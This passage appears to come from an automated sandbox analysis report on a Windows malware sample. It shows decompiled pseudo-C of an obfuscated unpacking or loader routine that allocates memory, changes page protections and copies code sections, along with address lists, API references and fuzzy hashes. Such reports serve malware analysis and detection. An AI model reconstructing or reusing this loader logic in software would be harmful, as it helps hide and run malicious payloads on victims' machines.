						 *_t1132 =  *_t1132 ^ _t1112;
						 *_t1132 =  *_t1132 + _t433;
						_t788 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1112, _t1112);
						_v12 = _t1097;
						 *((intOrPtr*)(_t824 + 0x41d019)) = _t788;
						_t1097 = _v12;
					}
					_pop( *_t438);
					_t987 = _v12;
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 = _t987;
					_t440 = _t824 + 0x41c42d; // 0x41c42d
					 *_t1132 =  *_t1132 - _t1097;
					 *_t1132 =  *_t1132 + _t440;
					_t778 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1097, _t824);
					 *_t1132 = _t1057;
					 *((intOrPtr*)(_t824 + 0x41c664)) = _t778;
					_t1060 = 0;
					_v16 = _v16 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1060;
					_t446 = _t824 + 0x41c4b9; // 0x41c4b9
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t446;
					_t449 = _t824 + 0x41c298; // 0x41c298
					 *_t1132 =  *_t1132 ^ _t1097;
					 *_t1132 = _t449;
					_t781 =  *((intOrPtr*)(_t824 + 0x41f068))();
					_v16 = _t987;
					 *(_t824 + 0x41c405) = 0 ^ _t781;
					_t947 = _v16;
					VirtualProtect(_t1097, _v12, _v16, ??);
					_t455 = _t824 + 0x41c772; // 0x41c772
					_v20 = 0;
					 *_t1132 =  *_t1132 ^ _t455;
					_t458 = _t824 + 0x41cb5c; // 0x41cb5c
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 =  *_t1132 | _t458;
					_t785 =  *((intOrPtr*)(_t824 + 0x41f068))(_t824, _v20);
					_v12 = _t1060;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) & 0x00000000;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) | _t1060 - _v12 ^ _t785;
					_t1023 = _v12;
				}
				_pop( *_t467);
				_t469 = _t824 + 0x41d305; // 0x41d305
				_v16 = 0;
				 *_t1132 =  *_t1132 + _t469;
				_t472 = _t824 + 0x41cf53; // 0x41cf53
				 *_t1132 =  *_t1132 ^ _t879;
				 *_t1132 =  *_t1132 | _t472;
				_t701 =  *((intOrPtr*)(_t824 + 0x41f068))(_t879, _v16);
				_v16 = _t947;
				 *(_t824 + 0x41c775) = 0 ^ _t701;
				_t950 = _v16;
				_t1026 = (_t1023 & 0x00000000 | _v12) + 0xf8;
				_t827 = _t824;
				_t477 = _t827 + 0x41d2fb; // 0x41d2fb
				_v20 = 0;
				 *_t1132 =  *_t1132 ^ _t477;
				_t480 = _t827 + 0x41c2ea; // 0x41c2ea
				_v16 = _v16 & 0x00000000;
				 *_t1132 =  *_t1132 + _t480;
				_push( *((intOrPtr*)(_t827 + 0x41f068))(_v16, _v20));
				_pop( *_t485);
				_push(_v12);
				_pop( *_t487);
				do {
					 *_t1132 = _t1026;
					_t489 = _t827 + 0x41c966; // 0x41c966
					 *_t1132 =  *_t1132 ^ _t879;
					 *_t1132 =  *_t1132 ^ _t489;
					_t706 =  *((intOrPtr*)(_t827 + 0x41f060))(_t879, _v16);
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 | _t706;
					_t494 = _t827 + 0x41ca40; // 0x41ca40
					 *_t1132 = _t494;
					_t708 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, _v20);
					_t1133 = _t1132 - 0xfffffffc;
					 *_t497 = _t708;
					_v12 = _v12 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v12);
					_pop(_t709);
					_t1028 = _t1026;
					_v16 = _t950;
					_t882 = 0 ^  *(_t827 + 0x41d332);
					_t953 = _v16;
					if(_t882 > _t709) {
						_t504 = _t827 + 0x41c966; // 0x41c966
						 *_t1133 =  *_t1133 ^ _t1112;
						 *_t1133 = _t504;
						_t505 = _t827 + 0x41ca40; // 0x41ca40
						 *_t1133 =  *_t1133 & 0x00000000;
						 *_t1133 =  *_t1133 | _t505;
						_t709 =  *((intOrPtr*)(_t827 + 0x41f064))(_t882, _t1112);
					}
					 *_t1133 = _t882;
					 *((intOrPtr*)(_t827 + 0x41c6bc)) = _t709;
					_v20 = _t1028;
					_t1031 = _v20;
					_v20 = _v20 & 0x00000000;
					 *_t1133 =  *_t1133 + _t827 + 0x41c5f7;
					_t711 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, 0);
					 *_t1133 = _t711;
					_v16 = _v16 & 0x00000000;
					 *_t1133 =  *_t1133 | _t827 + 0x0041c637;
					_t713 =  *((intOrPtr*)(_t827 + 0x41f060))(_v16, _v12);
					_t1134 =  &(_t1133[1]);
					_v20 = _a4;
					_push( *_t1133 + _t713);
					_t1085 = _v20;
					_pop(_t714);
					_push( *((intOrPtr*)(_t827 + 0x41cece)));
					_pop( *_t525);
					_push(_v20);
					_pop(_t888);
					if(_t888 > _t714) {
						 *_t1134 =  *_t1134 - _t888;
						 *_t1134 =  *_t1134 ^ _t827 + 0x0041c5f7;
						_v20 = _v20 & 0x00000000;
						 *_t1134 =  *_t1134 | _t827 + 0x0041c637;
						_t714 =  *((intOrPtr*)(_t827 + 0x41f064))(_v20, _t888);
					}
					_v12 = _t1085;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) & 0x00000000;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) | _t1085 ^ _v12 | _t714;
					 *_t1134 = _t1112;
					_t889 = 0 ^  *(_t1031 + 0x10);
					_t1112 = 0;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 ^ _t889;
					_v20 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041cee6;
					 *_t1134 =  *_t1134 ^ _t1112;
					 *_t1134 =  *_t1134 + _t827 + 0x41c9b9;
					_t717 =  *((intOrPtr*)(_t827 + 0x41f068))(_v20, _t714);
					_v20 = _t1031;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) & 0x00000000;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) ^ (_t1031 & 0x00000000 | _t717);
					_t1034 = _v20;
					 *_t552 = _t1112;
					_push(_v12);
					_pop( *_t555);
					_v16 = _v16 +  *((intOrPtr*)(_t1034 + 0x14));
					_push(_v16);
					_pop(_t1089);
					_t955 = _t953;
					_v16 = 0;
					 *_t1134 =  *_t1134 ^ _t889 & 0x00000000 ^ _v20;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t827 + 0x41c452;
					_v12 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041c156;
					_t720 =  *((intOrPtr*)(_t827 + 0x41f068))(_v12, _t955, _v16);
					 *_t1134 = _t955;
					 *((intOrPtr*)(_t827 + 0x41c66c)) = _t720;
					_t958 = 0;
					_pop( *_t567);
					_t893 = _v16;
					_t1035 =  *(_t1034 + 0xc);
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t893;
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 = _t827 + 0x41c5a4;
					_t722 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112, _t1089);
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 =  *_t1134 ^ _t722;
					 *_t1134 =  *_t1134 ^ _t1035;
					 *_t1134 =  *_t1134 + _t827 + 0x41ce5b;
					_t724 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112);
					 *_t574 = _t1035;
					 *_t1134 =  *_t1134 + _t827;
					_t828 = _t724;
					_t827 = 0;
					_push( *((intOrPtr*)(_t827 + 0x41d348)));
					_pop( *_t577);
					_push(_v12);
					_pop(_t896);
					if(_t896 > _t828 + (_t893 & 0x00000000 ^ _v20)) {
						_t579 = _t827 + 0x41c5a4; // 0x41c5a4
						 *_t1134 =  *_t1134 ^ _t958;
						 *_t1134 =  *_t1134 | _t579;
						_t580 = _t827 + 0x41ce5b; // 0x41ce5b
						 *_t1134 =  *_t1134 - _t896;
						 *_t1134 =  *_t1134 | _t580;
						_t733 =  *((intOrPtr*)(_t827 + 0x41f064))(_t896, _t958);
						_v20 = _t1089;
						 *(_t827 + 0x41c50f) = 0 ^ _t733;
						_t1089 = _v20;
					}
					_v12 = _t958;
					_t1036 =  *(_t827 + 0x41c166) + _t1035;
					_t726 = memcpy(_t1036, _t1089, (_t896 & 0x00000000) +  *_t1134);
					_t1136 =  &(_t1134[4]);
					_t879 = 0;
					_t1132 = _t1136 - 0xfffffffc;
					_push(_v12);
					_t1026 =  *_t1136 + 0x28;
					_pop(_t950);
					_t588 =  &_v8;
					 *_t588 = _v8 - 1;
				} while ( *_t588 != 0);
				_pop( *_t590);
				_t1041 = _v16;
				_push(_t1112);
				 *_t594 = _t726 & 0x00000000 ^ _t1112 -  *_t1132 ^  *(_t1041 + 0x28);
				_v20 = _v20 +  *(_t827 + 0x41c166);
				_push(_v20);
				_pop(_t729);
				_t1043 = _t1041;
				 *_t1132 = _t950;
				 *((intOrPtr*)(_t827 + 0x41d140)) = _t729;
				_t966 = 0;
				_v12 = 0;
				_t1091 = _t1089 & 0x00000000 | 0 ^  *(_t827 + 0x41c166);
				_t901 = _v12;
				if(_t1091 > 0) {
					_push(_t827);
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1091;
					_t730 = L00E94E1A(_t827, _t901, _t966, _t1091);
					 *_t1132 = _t1091;
					_t729 = E00E92FAF(_t730, _t827, _t901, _t966, _t1043, _t1091, _v12);
				}
				_pop( *_t603);
				return _t729;
			}

0x00e95f16
0x00e95f16
0x00e95f16
0x00e95f16
0x00e95f17
0x00e95f1b
0x00e95f1e
0x00e95f20
0x00e95f23
0x00e95f24
0x00e95f28
0x00e95f2b
0x00e95f2c
0x00e95f30
0x00e95f39
0x00e95f3a
0x00e95f3d
0x00e95f46
0x00e95f4a
0x00e95f4d
0x00e95f56
0x00e95f57
0x00e95f5a
0x00e95f5d
0x00e95f63
0x00e95f66
0x00e95f6e
0x00e95f71
0x00e95f72
0x00e95f75
0x00e95f78
0x00e95f7b
0x00e95f84
0x00e95f85
0x00e95f88
0x00e95f8b
0x00e95f91
0x00e95f94
0x00e95f9d
0x00e95f9e
0x00e95fa2
0x00e95fa5
0x00e95fab
0x00e95fb1
0x00e95fb5
0x00e95fb8
0x00e95fbb
0x00e95fbe
0x00e95fc0
0x00e95fcb
0x00e95fd2
0x00e95fda
0x00e95fdd
0x00e95fe6
0x00e95fe7
0x00e95fea
0x00e95ff3
0x00e95ff4
0x00e95ff7
0x00e95ffa
0x00e95ffa
0x00e96002
0x00e96005
0x00e96009
0x00e9600d
0x00e96017
0x00e9601b
0x00e96025
0x00e96029
0x00e9602c
0x00e96032
0x00e96039
0x00e9604b
0x00e96054
0x00e9605e
0x00e96067
0x00e96068
0x00e9606b
0x00e9606e
0x00e96074
0x00e9607b
0x00e9607e
0x00e96088
0x00e9608b
0x00e96094
0x00e96095
0x00e96098
0x00e9609b
0x00e960a1
0x00e960a7
0x00e960ae
0x00e960b7
0x00e960be
0x00e960c1
0x00e960c8
0x00e960cb
0x00e960d4
0x00e960db
0x00e960de
0x00e960e4
0x00e960e7
0x00e960ee
0x00e960f1
0x00e960f4
0x00e960f7
0x00e960f8
0x00e96106
0x00e96108
0x00e9610b
0x00e96114
0x00e96118
0x00e96124
0x00e96127
0x00e9612d
0x00e96133
0x00e9613a
0x00e96140
0x00e96147
0x00e9614a
0x00e9614f
0x00e96156
0x00e9615c
0x00e9615f
0x00e96162
0x00e9616b
0x00e9616e
0x00e96172
0x00e96176
0x00e9617a
0x00e9617e
0x00e96188
0x00e9618c
0x00e96195
0x00e9619c
0x00e9619f
0x00e961ab
0x00e961b2
0x00e961be
0x00e961c1
0x00e961c8
0x00e961d1
0x00e961db
0x00e961de
0x00e961e5
0x00e961e8
0x00e961f1
0x00e961fb
0x00e961fe
0x00e96206
0x00e96209
0x00e96210
0x00e96213
0x00e96216
0x00e96219
0x00e9621a
0x00e9621b
0x00e96231
0x00e96239
0x00e96240
0x00e96249
0x00e96253
0x00e96256
0x00e96256
0x00e9625e
0x00e96265
0x00e9626b
0x00e9626c
0x00e96276
0x00e96279
0x00e96283
0x00e9628c
0x00e96296
0x00e96299
0x00e9629f
0x00e962a9
0x00e962b5
0x00e962b8
0x00e962c3
0x00e962c6
0x00e962cd
0x00e962ce
0x00e962d1
0x00e962d2
0x00e962dd
0x00e962df
0x00e962e4
0x00e962ec
0x00e962f6
0x00e96300
0x00e96303
0x00e96306
0x00e9630c
0x00e96314
0x00e9631b
0x00e96321
0x00e96321
0x00e9632a
0x00e9632d
0x00e96335
0x00e96338
0x00e9633b
0x00e9633e
0x00e9633f
0x00e96343
0x00e9634d
0x00e96351
0x00e9635d
0x00e96360
0x00e96368
0x00e9636f
0x00e96375
0x00e9637c
0x00e9637f
0x00e96385
0x00e96389
0x00e9638c
0x00e96396
0x00e96399
0x00e963a2
0x00e963a9
0x00e963ac
0x00e963b4
0x00e963bb
0x00e963c1
0x00e963c7
0x00e963ca
0x00e963d1
0x00e963d3
0x00e963dc
0x00e963e6
0x00e963e9
0x00e963f0
0x00e963f3
0x00e963fd
0x00e96400
0x00e96403
0x00e96412
0x00e96417
0x00e9641b
0x00e9641e
0x00e96420
0x00e96421
0x00e9642c
0x00e9642e
0x00e96433
0x00e9643c
0x00e9643f
0x00e96448
0x00e96452
0x00e96455
0x00e96455
0x00e96461
0x00e96468
0x00e9646e
0x00e96474
0x00e96477
0x00e96483
0x00e96486
0x00e9648c
0x00e96494
0x00e9649b
0x00e964a1
0x00e964a6
0x00e964b2
0x00e964b6
0x00e964b9
0x00e964c1
0x00e964c5
0x00e964c8
0x00e964d4
0x00e964db
0x00e964e1
0x00e964e3
0x00e964e6
0x00e964f2
0x00e964f5
0x00e964fe
0x00e9650a
0x00e9650d
0x00e96515
0x00e96518
0x00e9651f
0x00e96522
0x00e96525
0x00e96528
0x00e96529
0x00e96537
0x00e96539
0x00e9653c
0x00e9653e
0x00e96544
0x00e9654e
0x00e96551
0x00e96558
0x00e9655c
0x00e9655f
0x00e9655f
0x00e96567
0x00e9656e
0x00e96574
0x00e96575
0x00e96586
0x00e96590
0x00e96593
0x00e9659a
0x00e9659e
0x00e965a1
0x00e965a9
0x00e965b0
0x00e965b6
0x00e965b7
0x00e965ca
0x00e965cc
0x00e965ce
0x00e965d2
0x00e965d5
0x00e965db
0x00e965e5
0x00e965e8
0x00e965ee
0x00e965f6
0x00e965fd
0x00e96603
0x00e9660b
0x00e96610
0x00e96618
0x00e9661b
0x00e96622
0x00e96625
0x00e9662b
0x00e96632
0x00e96635
0x00e9663c
0x00e96640
0x00e96643
0x00e9664a
0x00e9664e
0x00e96651
0x00e96659
0x00e9665f
0x00e96666
0x00e96667
0x00e9666a
0x00e9666b
0x00e96671
0x00e96674
0x00e96677
0x00e9667a
0x00e96685
0x00e9668f
0x00e96693
0x00e96696
0x00e9669d
0x00e966a0
0x00e966a3
0x00e966a3
0x00e966a9
0x00e966ac
0x00e966af
0x00e966c2
0x00e966c6
0x00e966c9
0x00e966d2
0x00e966dc
0x00e966e8
0x00e966eb
0x00e966f1
0x00e966f8
0x00e966fe
0x00e96703
0x00e96706
0x00e9670b
0x00e9670e
0x00e96713
0x00e9671a
0x00e9671d
0x00e96720
0x00e96727
0x00e96730
0x00e9673a
0x00e9673d
0x00e96743
0x00e9674d
0x00e96757
0x00e9675b
0x00e9675e
0x00e9676d
0x00e96774
0x00e96777
0x00e9677a
0x00e9677d
0x00e9677e
0x00e9677f
0x00e96781
0x00e9678c
0x00e96791
0x00e9679a
0x00e9679d
0x00e967a7
0x00e967ab
0x00e967ae
0x00e967b4
0x00e967b6
0x00e967bd
0x00e967c3
0x00e967c4
0x00e967c7
0x00e967cc
0x00e967cf
0x00e967d2
0x00e967d2
0x00e967d3
0x00e967dd
0x00e967e0
0x00e967e7
0x00e967f1
0x00e967f4
0x00e967f7
0x00e967fe
0x00e96801
0x00e9680b
0x00e9680f
0x00e96812
0x00e9681d
0x00e96824
0x00e96827
0x00e9682a
0x00e9682d
0x00e9682e
0x00e9682f
0x00e96841
0x00e9684c
0x00e96858
0x00e9685b
0x00e96861
0x00e96868
0x00e9686e
0x00e96873
0x00e96876
0x00e9687e
0x00e96881
0x00e96881
0x00e96889
0x00e9688d
0x00e96897
0x00e9689b
0x00e968a4
0x00e968ae
0x00e968b1
0x00e968bd
0x00e968c4
0x00e968cd
0x00e968d0
0x00e968d3
0x00e968e0
0x00e968e4
0x00e968e7
0x00e968f0
0x00e968f7
0x00e96900
0x00e96901
0x00e96904
0x00e96907
0x00e96913
0x00e96916
0x00e96919
0x00e96926
0x00e9692f
0x00e96939
0x00e9693c
0x00e96945
0x00e96951
0x00e96954
0x00e96960
0x00e96968
0x00e9696c
0x00e96971
0x00e96972
0x00e9697d
0x00e9697f
0x00e96984
0x00e96986
0x00e9698d
0x00e96990
0x00e96993
0x00e9699a
0x00e9699d
0x00e969a0
0x00e969a6
0x00e969ae
0x00e969b5
0x00e969bb
0x00e969c0
0x00e969c3
0x00e969c6
0x00e969cd
0x00e969d0
0x00e969d6
0x00e969d9
0x00e969e0
0x00e969e4
0x00e969e7
0x00e969f0
0x00e969f3
0x00e969fb
0x00e96a02
0x00e96a08
0x00e96a0b
0x00e96a0e
0x00e96a13
0x00e96a1a
0x00e96a1e
0x00e96a24
0x00e96a27
0x00e96a30
0x00e96a33
0x00e96a3f
0x00e96a46
0x00e96a4f
0x00e96a52
0x00e96a56
0x00e96a5d
0x00e96a64
0x00e96a67
0x00e96a6e
0x00e96a72
0x00e96a75
0x00e96a7c
0x00e96a80
0x00e96a83
0x00e96a8a
0x00e96a8d
0x00e96a90
0x00e96a9f
0x00e96aa6
0x00e96aa9
0x00e96aac
0x00e96aaf
0x00e96ab0
0x00e96ab3
0x00e96abe
0x00e96ac0
0x00e96ac3
0x00e96ac5
0x00e96acc
0x00e96acf
0x00e96ad2
0x00e96ad9
0x00e96adc
0x00e96adf
0x00e96ae5
0x00e96aec
0x00e96af2
0x00e96af2
0x00e96af5
0x00e96af8
0x00e96afc
0x00e96aff
0x00e96b02
0x00e96b09
0x00e96b0c
0x00e96b0f
0x00e96b17
0x00e96b1e
0x00e96b24
0x00e96b25
0x00e96b2c
0x00e96b2f
0x00e96b35
0x00e96b3f
0x00e96b42
0x00e96b49
0x00e96b4c
0x00e96b4f
0x00e96b55
0x00e96b5c
0x00e96b62
0x00e96b65
0x00e96b6b
0x00e96b71
0x00e96b7b
0x00e96b7e
0x00e96b85
0x00e96b88
0x00e96b8b
0x00e96b91
0x00e96b99
0x00e96ba0
0x00e96ba6
0x00e96ba6
0x00e96baf
0x00e96bb5
0x00e96bbb
0x00e96bc5
0x00e96bc8
0x00e96bcf
0x00e96bd2
0x00e96bd5
0x00e96bdb
0x00e96be2
0x00e96be8
0x00e96bf4
0x00e96bf6
0x00e96bf7
0x00e96bfd
0x00e96c07
0x00e96c0a
0x00e96c10
0x00e96c17
0x00e96c20
0x00e96c21
0x00e96c24
0x00e96c27
0x00e96c2d
0x00e96c30
0x00e96c33
0x00e96c3a
0x00e96c3d
0x00e96c40
0x00e96c46
0x00e96c4d
0x00e96c50
0x00e96c59
0x00e96c5c
0x00e96c6b
0x00e96c72
0x00e96c75
0x00e96c78
0x00e96c7b
0x00e96c7c
0x00e96c7d
0x00e96c88
0x00e96c8a
0x00e96c8f
0x00e96c91
0x00e96c98
0x00e96c9b
0x00e96c9e
0x00e96ca5
0x00e96ca9
0x00e96cac
0x00e96cac
0x00e96cb4
0x00e96cbb
0x00e96cc2
0x00e96ccc
0x00e96cd5
0x00e96cdc
0x00e96cdf
0x00e96ce8
0x00e96cf1
0x00e96cf8
0x00e96cfb
0x00e96d06
0x00e96d09
0x00e96d10
0x00e96d11
0x00e96d14
0x00e96d15
0x00e96d1b
0x00e96d1e
0x00e96d21
0x00e96d24
0x00e96d2d
0x00e96d30
0x00e96d39
0x00e96d40
0x00e96d43
0x00e96d43
0x00e96d49
0x00e96d51
0x00e96d58
0x00e96d63
0x00e96d6b
0x00e96d6d
0x00e96d6f
0x00e96d73
0x00e96d7c
0x00e96d86
0x00e96d90
0x00e96d93
0x00e96d96
0x00e96d9c
0x00e96da4
0x00e96dab
0x00e96db1
0x00e96dba
0x00e96dc4
0x00e96dc5
0x00e96dc8
0x00e96dcb
0x00e96dce
0x00e96dcf
0x00e96dd0
0x00e96dda
0x00e96de4
0x00e96de8
0x00e96df1
0x00e96dfb
0x00e96dfe
0x00e96e06
0x00e96e0d
0x00e96e13
0x00e96e16
0x00e96e19
0x00e96e1c
0x00e96e20
0x00e96e24
0x00e96e2e
0x00e96e31
0x00e96e34
0x00e96e3b
0x00e96e3e
0x00e96e48
0x00e96e4b
0x00e96e4e
0x00e96e5a
0x00e96e62
0x00e96e66
0x00e96e6b
0x00e96e6c
0x00e96e72
0x00e96e75
0x00e96e78
0x00e96e7b
0x00e96e7d
0x00e96e84
0x00e96e87
0x00e96e8a
0x00e96e91
0x00e96e94
0x00e96e97
0x00e96e9d
0x00e96ea4
0x00e96eaa
0x00e96eaa
0x00e96eb9
0x00e96ec8
0x00e96ec9
0x00e96ec9
0x00e96ec9
0x00e96ed4
0x00e96ed7
0x00e96ee0
0x00e96ee2
0x00e96ee3
0x00e96ee3
0x00e96ee3
0x00e96eec
0x00e96eef
0x00e96ef2
0x00e96f07
0x00e96f0a
0x00e96f0d
0x00e96f10
0x00e96f11
0x00e96f14
0x00e96f1b
0x00e96f21
0x00e96f22
0x00e96f31
0x00e96f33
0x00e96f39
0x00e96f3b
0x00e96f3c
0x00e96f40
0x00e96f43
0x00e96f4b
0x00e96f4e
0x00e96f4e
0x00e96f61
0x00e96f68

APIs

VirtualProtect.KERNELBASE ref: 00E96B65

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction ID: 561de70c4fcf1f4340c8b57b0015632a04edc27dd283b45847072c8166bcd566
Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction Fuzzy Hash: 4CC22572844608EFEB049FA0C8C57EEBBF5FF48320F0589AED899AA145D7345264CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00E9709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00E9709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
				void* _t47;
				signed int _t48;
				signed int _t49;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				signed int _t59;
				long _t60;
				void* _t62;
				void* _t65;
				void* _t67;
				signed int _t68;
				void* _t72;
				signed int _t75;
				signed int _t78;
				void* _t81;
				signed int _t82;
				long _t87;
				signed int _t89;
				long _t94;
				void* _t97;
				void* _t99;
				long _t101;
				void* _t102;

				_t87 = __esi;
				_t79 = __edi;
				_t72 = __edx;
				_t59 = __ebx;
				 *_t101 = 0xffff0000;
				_t48 = E00E92D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
				 *_t101 =  *_t101 | _t59;
				_t60 = _t59;
				if( *_t101 != 0) {
					 *_t101 =  *_t101 + 4;
					 *_t101 =  *_t101 - _t94;
					 *_t101 =  *_t101 + 0x1000;
					 *_t101 =  *_t101 - _t60;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
				}
				 *(_t94 - 8) = 0;
				_push( *(_t94 - 8));
				 *_t101 =  *_t101 ^ _t48;
				_pop( *_t6);
				 *(_t60 + 0x41c60a) = 2;
				 *_t101 = _t94;
				 *(_t60 + 0x41d10e) = _t48;
				_t97 = 0;
				if( *(_t60 + 0x41c166) > 0) {
					_t55 = _t60 + 0x41c60a;
					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
					 *_t101 = _t55 +  *_t101;
					 *_t101 = 0x40;
					_t87 =  *_t101;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
					 *_t101 =  *(_t60 + 0x41c166);
					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
				}
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
				_t89 = _t87;
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
				_t99 = _t97;
				_t49 = E00E9746C(_t60, _t72, _t79, _t89);
				_push( *((intOrPtr*)(_t60 + 0x41c627)));
				_pop( *_t24);
				_push( *(_t99 - 8));
				_pop(_t62);
				 *_t101 = _t62;
				_t65 = 0;
				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
				_t81 = _t67;
				_t68 = _t65;
				if(_t67 != 0) {
					 *(_t99 - 8) = 0;
					 *_t101 =  *_t101 ^ _t81;
					_t49 = E00E92A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
				}
				_t75 = _t72;
				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
				_t102 = _t101 + 0xc;
				_t82 = _t81 + _t68;
				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
					_push(0);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t82 = _t82; // executed
					_t52 = E00E95F16(_t51, _t60, 0, _t75, _t82, _t89); // executed
					_push(_t52);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t54 = _t52;
					_t51 = E00E98F3B(_t54, _t60, 0, _t75, _t82, _t89);
				}
				 *(_t99 - 4) = _t82;
				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
				 *_t41 =  *(_t60 + 0x41d140);
				_t78 =  *(_t99 - 8);
				_push(_t89);
				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
				asm("popad");
				return _t51;
			}

0x00e9709d
0x00e9709d
0x00e9709d
0x00e9709d
0x00e9709e
0x00e970a5
0x00e970ab
0x00e970ae
0x00e970af
0x00e970b2
0x00e970b6
0x00e970ba
0x00e970c1
0x00e970cb
0x00e970d0
0x00e970d0
0x00e970d6
0x00e970dd
0x00e970e0
0x00e970e3
0x00e970e9
0x00e970f5
0x00e970fc
0x00e97102
0x00e9710a
0x00e9710c
0x00e97112
0x00e97119
0x00e9711d
0x00e9712b
0x00e9712b
0x00e97135
0x00e97138
0x00e97138
0x00e9713e
0x00e97146
0x00e9714a
0x00e9714b
0x00e97153
0x00e97157
0x00e97158
0x00e9715d
0x00e97163
0x00e97166
0x00e97169
0x00e9716c
0x00e97179
0x00e9717d
0x00e9717f
0x00e97181
0x00e97182
0x00e97184
0x00e9718e
0x00e97191
0x00e97191
0x00e9719d
0x00e9719e
0x00e9719e
0x00e9719e
0x00e971a6
0x00e971a8
0x00e971b0
0x00e971b4
0x00e971b5
0x00e971ba
0x00e971c2
0x00e971c6
0x00e971c7
0x00e971c7
0x00e971cc
0x00e971e0
0x00e971ea
0x00e971f0
0x00e971f1
0x00e971f7
0x00e971fb
0x00e971ff
0x00e97201

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00E970D0
VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 00E97138

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction ID: 8c98643b544019fc0ba4afd987b178b77107a90fbb4fa869fcb15b6397ed5754
Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction Fuzzy Hash: D5417F72908304EFEF049F65C885BAEBBF5EF88710F05849DED88AB246C7741950DB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00E91B1E, Relevance: 1.4, Strings: 1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E91B1E(void* __eax, void* __ebx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t58;
				signed int _t60;
				void* _t77;
				void* _t89;
				void* _t90;
				signed int _t91;
				void* _t95;
				signed int _t96;
				signed int _t97;
				signed int _t101;
				signed int _t105;
				signed int _t106;

				_t89 = __ebx;
				_t58 = E00E92467(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41c395)),  *((intOrPtr*)(__ebx + 0x41c290)),  *((intOrPtr*)(__ebx + 0x41c3b1)));
				if(_t58 < 0xda63) {
					_t58 = (_t58 & 0x00000000) - 0xffffffff;
				} else {
					_a8 = _a8 & 0xffffffff;
					_t105 = _t105 ^  *(__ebx + 0x41c8a6);
				}
				_t106 = _t105 | _t101;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v12 = _v12 - 1;
				_t60 = _t58 & 0x00000000;
				_t96 = _t95 - _t60;
				if(_a4 < 0x7e4d) {
					_v16 = 0x581;
					 *(_t89 + 0x41c8a6) = 0xffffffff;
					_t97 = 1;
				} else {
					_t97 = _t96 ^ 0x00000034;
